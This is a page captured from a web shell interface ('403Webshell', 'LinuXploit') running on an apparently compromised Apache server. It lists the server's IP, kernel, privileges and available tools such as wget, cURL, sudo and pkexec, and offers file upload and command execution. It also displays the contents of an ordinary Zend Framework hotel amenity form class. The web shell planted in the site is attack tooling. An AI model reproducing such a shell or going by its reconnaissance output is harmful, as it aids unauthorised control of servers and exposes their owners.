403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/forms/HotelAmenityCategory.php
<?php
/* 
 *  Form HotelAmenityCategory
 *  
 * @name		hotel-amenity-category
 * @author		Shailender Joshi
 * @created		28 Sep 2016
 * @updated		28 Sep 2016
 */

class Travel_Form_HotelAmenityCategory extends Zend_Form {
      
    public function __construct($params = null) {


    /************ Title  *****************/
    $Title = $this->createElement('text','Title',
                        array(
                             'value' => trim($params['Title']),
                             'class' => 'form-control whbg',
                            'required'=>true,
                            'filters' => array('StringTrim'),
                            'maxlength' => 100,
                            //'validators' => array(array('StringLength', false, array(3, 100))),
                     ))	 
                    ->setErrorMessages(array('Please enter Title'))
                    ->removeDecorator('label')
                    ->removeDecorator('HtmlTag')
                    ->removeDecorator('DtDdWrapper');
        
    
	/************ image file  *****************/
    $Icon = $this->createElement('file','Icon',
                        array(
                            'required'=> false,
                        'MaxFileSize' => 2097152, // for 2 MB
                        'autocomplete' => 'off',
                               'class' => '',
                                  'id' => 'Icon',
                          'validators' => array(
                            array('Count', false, 1),
                           array('Size', false, 2097152),
                            array('Extension', false, 'gif,jpg,jpeg,png'),
                                  )
                     ))	 
                    ->setErrorMessages(array('Please choose Image'))
                    ->removeDecorator('label')
                    ->removeDecorator('HtmlTag')
                    ->removeDecorator('DtDdWrapper');
        
	$this->addElements(array(  
            $Title,
            $Icon,
            ));     
    }
    
}


Youez - 2016 - github.com/yon3zu
LinuXploit